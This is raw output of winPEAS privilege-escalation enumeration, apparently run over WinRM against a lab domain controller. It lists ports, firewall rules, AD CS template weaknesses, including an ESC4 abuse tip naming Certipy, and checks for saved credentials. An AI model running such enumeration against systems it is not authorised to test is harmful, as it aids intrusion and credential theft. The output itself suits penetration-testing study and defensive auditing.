WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49665         [::]                                        0               Listening         496             wininit
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49666         [::]                                        0               Listening         1224            svchost
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49667         [::]                                        0               Listening         1704            svchost
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49668         [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49677         [::]                                        0               Listening         652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49678         [::]                                        0               Listening         2784            spoolsv
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49681         [::]                                        0               Listening         640             services
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49691         [::]                                        0               Listening         2880            certsrv
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49705         [::]                                        0               Listening         2936            dns
WINRM       172.16.55.128   5985   DC01               TCP        [::]                                        49761         [::]                                        0               Listening         2896            dfsrs
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       53            [::]                                        0               Listening         2936            dns
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       389           [::1]                                       49679           Established       652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       389           [::1]                                       49680           Established       652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       389           [::1]                                       49703           Established       652             lsass
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       1434          [::]                                        0               Listening         4476            sqlservr
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       49679         [::1]                                       389             Established       2908            ismserv
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       49680         [::1]                                       389             Established       2908            ismserv
WINRM       172.16.55.128   5985   DC01               TCP        [::1]                                       49703         [::1]                                       389             Established       2936            dns
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                53            [::]                                        0               Listening         2936            dns
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                135           [fe80::c833:192d:dba0:737%4]                50841           Established       932             svchost                                                                                        
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                389           [fe80::c833:192d:dba0:737%4]                49715           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                389           [fe80::c833:192d:dba0:737%4]                49756           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                389           [fe80::c833:192d:dba0:737%4]                49759           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49668         [fe80::c833:192d:dba0:737%4]                49758           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49668         [fe80::c833:192d:dba0:737%4]                49892           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49668         [fe80::c833:192d:dba0:737%4]                50842           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49715         [fe80::c833:192d:dba0:737%4]                389             Established       2936            dns                                                                                            
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49756         [fe80::c833:192d:dba0:737%4]                389             Established       2896            dfsrs                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49758         [fe80::c833:192d:dba0:737%4]                49668           Established       2896            dfsrs                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49759         [fe80::c833:192d:dba0:737%4]                389             Established       2896            dfsrs                                                                                          
WINRM       172.16.55.128   5985   DC01               TCP        [fe80::c833:192d:dba0:737%4]                49892         [fe80::c833:192d:dba0:737%4]                49668           Established       652             lsass                                                                                          
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Current UDP Listening Ports
WINRM       172.16.55.128   5985   DC01             È Check for services restricted from the outside 
WINRM       172.16.55.128   5985   DC01               Enumerating IPv4 connections
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Protocol   Local Address         Local Port    Remote Address:Remote Port     Process ID        Process Name                                              
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               123           *:*                            88                svchost                                                   
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               389           *:*                            652               lsass                                                     
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               500           *:*                            2924              svchost                                                   
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               4500          *:*                            2924              svchost                                                   
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               5353          *:*                            1216              svchost                                                   
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               5355          *:*                            1216              svchost                                                   
WINRM       172.16.55.128   5985   DC01               UDP        0.0.0.0               54227         *:*                            1216              svchost                                                   
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             49222         *:*                            2908              ismserv
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             54226         *:*                            2916              Microsoft.ActiveDirectory.WebServices
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             54228         *:*                            2896              dfsrs
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             54231         *:*                            652               lsass
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             54232         *:*                            1440              svchost
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             59991         *:*                            1508              svchost
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             60979         *:*                            2124              svchost
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             63257         *:*                            2880              certsrv
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             64258         *:*                            3112              dfssvc
WINRM       172.16.55.128   5985   DC01               UDP        127.0.0.1             64542         *:*                            4176              C:\ProgramData\winPEASx64.exe
WINRM       172.16.55.128   5985   DC01               UDP        172.16.55.128         88            *:*                            652               lsass                                                     
WINRM       172.16.55.128   5985   DC01               UDP        172.16.55.128         137           *:*                            4                 System                                                    
WINRM       172.16.55.128   5985   DC01               UDP        172.16.55.128         138           *:*                            4                 System                                                    
WINRM       172.16.55.128   5985   DC01               UDP        172.16.55.128         464           *:*                            652               lsass                                                     
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Enumerating IPv6 connections
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Protocol   Local Address                               Local Port    Remote Address:Remote Port     Process ID        Process Name                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        123           *:*                            88                svchost
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        389           *:*                            652               lsass
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        500           *:*                            2924              svchost
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        4500          *:*                            2924              svchost
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        5353          *:*                            1216              svchost
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        5355          *:*                            1216              svchost
WINRM       172.16.55.128   5985   DC01               UDP        [::]                                        54227         *:*                            1216              svchost
WINRM       172.16.55.128   5985   DC01               UDP        [fe80::c833:192d:dba0:737%4]                88            *:*                            652               lsass                               
WINRM       172.16.55.128   5985   DC01               UDP        [fe80::c833:192d:dba0:737%4]                464           *:*                            652               lsass                               
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Firewall Rules
WINRM       172.16.55.128   5985   DC01             È Showing only DENY rules (too many ALLOW rules always)                                                                                                     
WINRM       172.16.55.128   5985   DC01                 Current Profiles: DOMAIN
WINRM       172.16.55.128   5985   DC01                 FirewallEnabled (Domain):    True
WINRM       172.16.55.128   5985   DC01                 FirewallEnabled (Private):    True
WINRM       172.16.55.128   5985   DC01                 FirewallEnabled (Public):    True
WINRM       172.16.55.128   5985   DC01                 DENY rules:
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ DNS cached --limit 70--
WINRM       172.16.55.128   5985   DC01                 Entry                                 Name                                  Data                                                                        
WINRM       172.16.55.128   5985   DC01               [X] Exception: Access denied 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Internet settings, zone and proxy configuration                                                                                    
WINRM       172.16.55.128   5985   DC01               General Settings
WINRM       172.16.55.128   5985   DC01               Hive        Key                                       Value                                                                                               
WINRM       172.16.55.128   5985   DC01               HKCU        CertificateRevocation                     1                                                                                                   
WINRM       172.16.55.128   5985   DC01               HKCU        DisableCachingOfSSLPages                  0                                                                                                   
WINRM       172.16.55.128   5985   DC01               HKCU        IE5_UA_Backup_Flag                        5.0                                                                                                 
WINRM       172.16.55.128   5985   DC01               HKCU        PrivacyAdvanced                           1                                                                                                   
WINRM       172.16.55.128   5985   DC01               HKCU        SecureProtocols                           10240                                                                                               
WINRM       172.16.55.128   5985   DC01               HKCU        User Agent                                Mozilla/4.0 (compatible; MSIE 8.0; Win32)                                                           
WINRM       172.16.55.128   5985   DC01               HKCU        ZonesSecurityUpgrade                      System.Byte[]                                                                                       
WINRM       172.16.55.128   5985   DC01               HKLM        ActiveXCache                              C:\Windows\Downloaded Program Files                                                                 
WINRM       172.16.55.128   5985   DC01               HKLM        CodeBaseSearchPath                        CODEBASE                                                                                            
WINRM       172.16.55.128   5985   DC01               HKLM        EnablePunycode                            1                                                                                                   
WINRM       172.16.55.128   5985   DC01               HKLM        MinorVersion                              0                                                                                                   
WINRM       172.16.55.128   5985   DC01               HKLM        WarnOnIntranet                            1                                                                                                   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Zone Maps
WINRM       172.16.55.128   5985   DC01               No URLs configured
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               Zone Auth Settings
WINRM       172.16.55.128   5985   DC01               No Zone Auth Settings
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Internet Connectivity
WINRM       172.16.55.128   5985   DC01             È Checking if internet access is possible via different methods                                                                                             
WINRM       172.16.55.128   5985   DC01                 HTTP (80) Access: Accessible
WINRM       172.16.55.128   5985   DC01                 HTTPS (443) Access: Not Accessible
WINRM       172.16.55.128   5985   DC01               [X] Exception:       Error: TCP connect timed out
WINRM       172.16.55.128   5985   DC01                 HTTPS (443) Access by Domain Name: Not Accessible                                                                                                       
WINRM       172.16.55.128   5985   DC01               [X] Exception:       Error: A task was canceled.
WINRM       172.16.55.128   5985   DC01                 DNS (53) Access: Accessible
WINRM       172.16.55.128   5985   DC01                 ICMP (ping) Access: Accessible
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Hostname Resolution
WINRM       172.16.55.128   5985   DC01             È Checking if the hostname can be resolved externally                                                                                                       
WINRM       172.16.55.128   5985   DC01               [X] Exception:     Error during hostname check: A task was canceled.                                                                                      
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Active Directory Quick Checks ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ gMSA readable managed passwords
WINRM       172.16.55.128   5985   DC01             È Look for Group Managed Service Accounts you can read (msDS-ManagedPassword) https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/gmsa.html                                                                                              
WINRM       172.16.55.128   5985   DC01               [-] No gMSA with readable managed password found (checked 0).                                                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ AD CS misconfigurations for ESC
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/ad-certificates.html                                                      
WINRM       172.16.55.128   5985   DC01             È Check for ADCS misconfigurations in the local DC registry                                                                                                 
WINRM       172.16.55.128   5985   DC01               StrongCertificateBindingEnforcement:  - Allow weak mapping if SID extension missing, may be vulnerable to ESC9.                                           
WINRM       172.16.55.128   5985   DC01               CertificateMappingMethods:  - Strong Certificate mapping enabled.                                                                                         
WINRM       172.16.55.128   5985   DC01               IF_ENFORCEENCRYPTICERTREQUEST set in InterfaceFlags - not vulnerable to ESC11.                                                                            
WINRM       172.16.55.128   5985   DC01               szOID_NTDS_CA_SECURITY_EXT not disabled for the CA - not vulnerable to ESC16.                                                                             
WINRM       172.16.55.128   5985   DC01             È 
WINRM       172.16.55.128   5985   DC01             If you can modify a template (WriteDacl/WriteOwner/GenericAll), you can abuse ESC4                                                                          
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: User  (Rights: WriteProperty,ExtendedRight)                                                                               
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: UserSignature  (Rights: WriteProperty,ExtendedRight)                                                                      
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: ClientAuth  (Rights: WriteProperty,ExtendedRight)                                                                         
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: EFS  (Rights: WriteProperty,ExtendedRight)                                                                                
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: login  (Rights: ExtendedRight)                                                                                            
WINRM       172.16.55.128   5985   DC01               Dangerous rights over template: IT-login  (Rights: ExtendedRight)                                                                                         
WINRM       172.16.55.128   5985   DC01               [*] Tip: Abuse with tools like Certipy (template write -&amp;gt; ESC1 -&amp;gt; enroll).                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Cloud Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                               
WINRM       172.16.55.128   5985   DC01             Learn and practice cloud hacking in training.hacktricks.xyz                                                                                                 
WINRM       172.16.55.128   5985   DC01             AWS EC2?                                No
WINRM       172.16.55.128   5985   DC01             Azure VM?                               No
WINRM       172.16.55.128   5985   DC01             Azure Tokens?                           No
WINRM       172.16.55.128   5985   DC01             Google Cloud Platform?                  No
WINRM       172.16.55.128   5985   DC01             Google Workspace Joined?                No
WINRM       172.16.55.128   5985   DC01             Google Cloud Directory Sync?            No
WINRM       172.16.55.128   5985   DC01             Google Password Sync?                   No
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Windows Credentials ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking Windows Vault
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault                       
WINRM       172.16.55.128   5985   DC01               [ERROR] Unable to enumerate vaults. Error (0x1061)
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking Credential manager
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#credentials-manager--windows-vault                       
WINRM       172.16.55.128   5985   DC01                 [!] Warning: if password contains non-printable characters, it will be printed as unicode base64 encoded string
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               [!] Unable to enumerate credentials automatically, error: &amp;#39;Win32Exception: System.ComponentModel.Win32Exception (0x80004005): A specified logon session does not exist. It may already have been terminated&amp;#39;                                                      
WINRM       172.16.55.128   5985   DC01             Please run:
WINRM       172.16.55.128   5985   DC01             cmdkey /list
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Saved RDP connections
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Remote Desktop Server/Client Settings
WINRM       172.16.55.128   5985   DC01               RDP Server Settings
WINRM       172.16.55.128   5985   DC01                 Network Level Authentication            :
WINRM       172.16.55.128   5985   DC01                 Block Clipboard Redirection             :
WINRM       172.16.55.128   5985   DC01                 Block COM Port Redirection              :
WINRM       172.16.55.128   5985   DC01                 Block Drive Redirection                 :
WINRM       172.16.55.128   5985   DC01                 Block LPT Port Redirection              :
WINRM       172.16.55.128   5985   DC01                 Block PnP Device Redirection            :
WINRM       172.16.55.128   5985   DC01                 Block Printer Redirection               :
WINRM       172.16.55.128   5985   DC01                 Allow Smart Card Redirection            :
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01               RDP Client Settings
WINRM       172.16.55.128   5985   DC01                 Disable Password Saving                 :       True                                                                                                    
WINRM       172.16.55.128   5985   DC01                 Restricted Remote Administration        :       False                                                                                                   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Recently run commands
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking for DPAPI Master Keys
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi                                                    
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking for DPAPI Credential Files
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi                                                    
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Checking for RDCMan Settings Files
WINRM       172.16.55.128   5985   DC01             È Dump credentials from Remote Desktop Connection Manager https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#remote-desktop-credential-manager                                                                         
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for Kerberos tickets
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-kerberos-88/index.html                                                            
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for saved Wifi credentials
WINRM       172.16.55.128   5985   DC01               [X] Exception: Unable to load DLL &amp;#39;wlanapi.dll&amp;#39;: The specified module could not be found. (Exception from HRESULT: 0x8007007E)                            
WINRM       172.16.55.128   5985   DC01             Enumerating WLAN using wlanapi.dll failed, trying to enumerate using &amp;#39;netsh&amp;#39;                                                                                
WINRM       172.16.55.128   5985   DC01             No saved Wifi credentials found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking AppCmd.exe
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#appcmdexe                                                
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01                   You must be an administrator to run this check
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking SSClient.exe
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#scclient--sccm                                           
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating SSCM - System Center Configuration Manager settings                                                                                
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Security Packages Credentials                                                                                                      
WINRM       172.16.55.128   5985   DC01               [X] Exception: Couldn&amp;#39;t parse nt_resp. Len: 0 Message bytes: 4e544c4d5353500003000000010001006000000000000000610000000000000058000000000000005800000008000800580000000000000061000000058a80a20a007c4f0000000fec9029b388ebc309b00eccb201a4c1f3440043003000310000   
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Browsers Information ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                            
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Showing saved credentials for Firefox
WINRM       172.16.55.128   5985   DC01                 Info: if no credentials were listed, you might need to close the browser and try again.                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for Firefox DBs
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history                                         
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for GET credentials in Firefox history                                                                                                 
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history                                         
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Showing saved credentials for Chrome
WINRM       172.16.55.128   5985   DC01                 Info: if no credentials were listed, you might need to close the browser and try again.                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for Chrome DBs
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history                                         
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for GET credentials in Chrome history                                                                                                  
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history                                         
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Chrome bookmarks
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Showing saved credentials for Opera
WINRM       172.16.55.128   5985   DC01                 Info: if no credentials were listed, you might need to close the browser and try again.                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Showing saved credentials for Brave Browser                                                                                                    
WINRM       172.16.55.128   5985   DC01                 Info: if no credentials were listed, you might need to close the browser and try again.                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Showing saved credentials for Internet Explorer (unsupported)                                                                                  
WINRM       172.16.55.128   5985   DC01                 Info: if no credentials were listed, you might need to close the browser and try again.                                                                 
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Current IE tabs
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history                                         
WINRM       172.16.55.128   5985   DC01               [X] Exception: System.Reflection.TargetInvocationException: Exception has been thrown by the target of an invocation. ---&amp;gt; System.Runtime.InteropServices.COMException: The server process could not be started because the configured identity is incorrect. Check the username and password.                                                                            
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                --- End of inner exception stack trace ---
WINRM       172.16.55.128   5985   DC01                at System.RuntimeType.InvokeDispMethod(String name, BindingFlags invokeAttr, Object target, Object[] args, Boolean[] byrefModifiers, Int32 culture, String[] namedParameters)                                                                                    
WINRM       172.16.55.128   5985   DC01                at System.RuntimeType.InvokeMember(String name, BindingFlags bindingFlags, Binder binder, Object target, Object[] providedArgs, ParameterModifier[] modifiers, CultureInfo culture, String[] namedParams)                                                        
WINRM       172.16.55.128   5985   DC01                at winPEAS.KnownFileCreds.Browsers.InternetExplorer.GetCurrentIETabs()                                                                                   
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Looking for GET credentials in IE history                                                                                                      
WINRM       172.16.55.128   5985   DC01             È  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#browsers-history                                         
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ IE history -- limit 50
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 http://go.microsoft.com/fwlink/p/?LinkId=255141
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ IE favorites
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¹ Interesting files and registry ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ                                                  
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Putty Sessions
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Putty SSH Host keys
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ SSH keys in registry
WINRM       172.16.55.128   5985   DC01             È If you find anything here, follow the link to learn how to decrypt the SSH keys https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#ssh-keys-in-registry                                                              
WINRM       172.16.55.128   5985   DC01                 Not Found
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ SuperPutty configuration files
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01             ÉÍÍÍÍÍÍÍÍÍÍ¹ Enumerating Office 365 endpoints synced by OneDrive.                                                                                           
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-19
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-20
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
WINRM       172.16.55.128   5985   DC01             
WINRM       172.16.55.128   5985   DC01                 SID: S-1-5-21-3830242231-3868280746-2763890440-1106                                                                                                     
WINRM       172.16.55.128   5985   DC01                =================================================================================================                                                        
